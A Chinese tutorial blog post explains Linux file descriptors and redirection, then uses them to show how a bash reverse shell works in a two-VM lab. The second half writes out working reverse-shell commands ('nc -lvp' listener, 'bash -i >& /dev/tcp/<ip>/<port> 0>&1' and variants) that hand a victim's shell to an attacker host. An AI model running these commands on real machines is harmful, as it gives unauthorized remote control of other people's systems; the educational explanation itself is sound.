反弹shell文件描述符与重定向
在这里最难理解的就是文件描述符和重定向这两部分
先来讲一下linux的文件描述符,什么是文件描述符,
在linux系统中将所有设备都当做文件来处理,而linux文件描述符用来标识每个文件对象,在我理解中就是描述符用来指定对象的,这样才能井然有序的运行。在linux系统中就连输入设备和输出设备都被当成是文件来处理就拿显示器和键盘输入都拿来当成文件处理,他们都有相应的文件描述符与之相对应。
Linux启动时会默认打开三个文件描述符:
标准输入standard input 0 (默认设备键盘)
标准输出standard output 1(默认设备显示器)
错误输出:error output 2(默认设备显示器)
这些描述符是默认开启的,之后再打开文件的话描述符会依次增加。一条shell命令,都会继承其父进程的文件描述符,所以所有的shell命令都会有这三个默认的描述符。
我来解释一下0,1,2分别的指向,这样会更好理解一点:
0可以理解为我们在与计算机进行交互时的输入,而这个输入默认是指向键盘的
1可以理解为我和计算机交互时的输出,而这个输出默认指向显示器的,也就是我们的屏幕显示。
2可以理解为我和计算机交互时,计算机出现错误的输入,指向的位置和1的是同一位置,都是显示器
文件的所有输入输出都是有该进程的所有打开的文件描述符来控制的(怎么理解呢,默认的都是有上面介绍的一样,0就是键盘输入,1就是输出在显示器上,如果我将我的输入不显示在显示器上而显示在某个文件中,也是利用描述符来规定的,只需要将描述符1重定向到你要输出的文件中)
接下来就来理解如何操作。
Linux中重定向的理解
重定向字面意思就是重新规定一个方向,这里的意思与Linux中大致相同,也差不多是这个意思。
Linux中重定向分为两种:
输入重定向 <
输出重定向 >
重点:
Bash在执行一条命令的时候,首先会检查命令中是否含有重定向,如果有就先将文件描述符重定向,然后把重定向去掉,执行命令
如果命令中存在多个重定向,那么不要随便改变顺序,因为重定向是从左向右解析的,改变顺序,会发生很大的改变。
< 是对标准输入重定向
>是对标准输出重定向
那么重定向怎么用呢?
- 输入重定向
格式:[n]< word (注意n与<之间没有空格)
解释: 将描述符重定向到word指代的文件(以只读的方式打开),如果省略n的话默认为0(标准输入)
上几张图来理解理解:
比如说我要将标准输入重定向到file文件中:0< file
那么我输入的东西以只读的形式将file表示出来没错可以试试,前提是你的file文件中有东西哦,这里确实不太好理解,再来讲一下怎么去理解吧,首先0是不是表示标准输入,而这个输入就看成是键盘,默认是不是这样理解的没错吧,而现在只不过是将标准输入进行了重定向而已。只需要将重定向后的file看成是键盘就可以了,这样就好理解了,这个file里的东西就是我们键盘要输入的东西,自然会将file的东西显示出来:0< file cat
重定向后在执行cat命令,就更好理解了。
其实这里有点像c语言中的指针(有没有?就是将0这个指针指向了不同的地址,自然就有了不同的输入)
- 输出重定向
格式 : [n]> word
这里与输入重定向一样好理解的,看上面的那张截图我也用到了输出重定向将hello word输出到file中(只是输出的位置从显示器重定向为了file这个文件而已)这样解释应该能理解吧!
3.标准输出与标准错误输出重定向
格式:&> word >& word
解释:这两种格式意义是完全相同的,用其中一个就可以了,含义就是将标准输出和标准错误输出都重定向到word代表的文件(以写的方式打开),这种格式其实就是等价于这样的:
- word 2>&1
讲解一下,这里的2>&1就是将标准错误输入复制到标准输出当中去这里的&是用来区分文件1和文件描述符1的。
再说明一下可能有的还不清楚什么是错误输出呢? 比如说我想要查询ip地址,将命令写成了ipconfig,那么他就会报错这些报错不会输出到标准的输出当中去,只有进行从定向将他和标准输出一同重定向到一个文件即可。
4.文件描述符的复制
格式:[n]<&[m] / [n]>&[m] (注意这之间都没有空格)
解释:这两个格式都是将文件描述符n复制到m,这两者的区别在于前者是利用读的形式打开后者是以写的形式打开
一次0<&1 和0>&1是等价的(这里的&上面讲到了就是用来区分描述符和文件名的)
这里推荐一篇讲的很详细的博客:https://xz.aliyun.com/t/2548?accounttraceid=136b41a1-fb0f-4c96-81ba-7a5a352d9f27
OK,文件描述符理解完了就可以很好地来理解反弹shell的原理了;接下来就讲解反弹shell的原理,利用上面的知识来加深对反弹shell的理解吧.
什么是反弹shell?
反弹shell就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端,本质上啊就是客户端与服务端的反转。
通俗的讲呢:打个比方吧,比如说我是攻击方,你是受害方,这是我在监听某端口,而你又向我发的端口进行了相应的请求,造成了我可以控制你的shell命令,也就是说从某种程度来讲控制了你的电脑,就是将你的shell命令反弹到我这里啊,就是输出输入都在我这里,这就是反弹shell
反弹shell的本质是什么
我们来创建一个环境来试验一下看看到底是怎样的来实现的
实验环境:
这里我用了两个虚拟机一个是ubuntu :192.168.233.134 作为攻击机
另一个就是kali :192.168.233.131 作为被攻击机
我们以最常见的bash为例:
Attackers机器上执行: nc -lvp 2333
可能有一些会不太理解,说明一下:bash 呢就是linux中默认的标准shell,就是相当于解析,里面包含了大多数的基本命令,
而执行的这句语句的意思就是监听2333端口,详细分析一下语句,在我理解中语句的全称是这样的(只是我这么理解的,不知道对不对):netcat -list view port 2333
意思就是建议一个网络连接监听2333端口
在victim(受害机)中执行:
bash -I > & /dev/tcp/192.168.233.134/2333 0>&1
你会看到:
在ubuntu中已经有kali的反弹shell了。
解释下语句:-i 这个参数表示的是产生交互式的shell,
/dev/tcp/ip/port 这个文件比较特殊实际上可以看成是一个设备(linux下一切皆文件)
我们看到了上面的语句中有我们 之前讲到的重定向和文件描述符,接下来就来详细地讲解一下:
先从简单的演示起,一步一步来深入:
首先我们为了实现交互我们把受害者交互式的shell的输出重定向到攻击机上在受害者机器上进行输入命令:
在victim中输入:bash -i > /dev/tcp/192.168.233.134/2333
这句命令如果懂了之前的讲的重定向应该好理解吧,就是将输出重定向到了攻击机上,就是显示不会再kali中显示了而重定向到了ubuntu中:可以自己实现以下。
我们也可以将输入重定向到攻击机上,从攻击机上进行输入,受害机回显:
bash -i < /dev/tcp/192.168.233.134/2333
就是这样的我在攻击机上输入而受害机会回显。
我们想要的结果肯定是即在攻击机上输入也在攻击机上回显,应该怎么做呢?其实还是文件描述符重定向的操作:
bash -i > /dev/tcp/192.168.233.134/2333 0>&1
这一句也好理解吧,输出重定向到攻击机上,输入也重定向到攻击机上,这样我们就基本上完成了一个反弹shell的功能
似乎我们并没有得到全部的回显信息,想想我们的错误输入的重定向还是默认的在受害机中,如果改一下应该就可以了试试:
bash -i > /dev/tcp/192.168.233.134/2333 0>&1 2>&1
Ok 这才是是我们最终想要的结果,上面的那句语句有点长,可以再简化一下,还记不记得之前讲的:>&就是标准输出 和错误输出一起重定向所以语句可以这样写:
bash -i >& /dev/tcp/192.168.233.134/2333 0>&1
这和上面那句是等价的。
反弹shell的方法有很多,这就是基本的原理。
详细介绍请参考:https://xz.aliyun.com/t/2549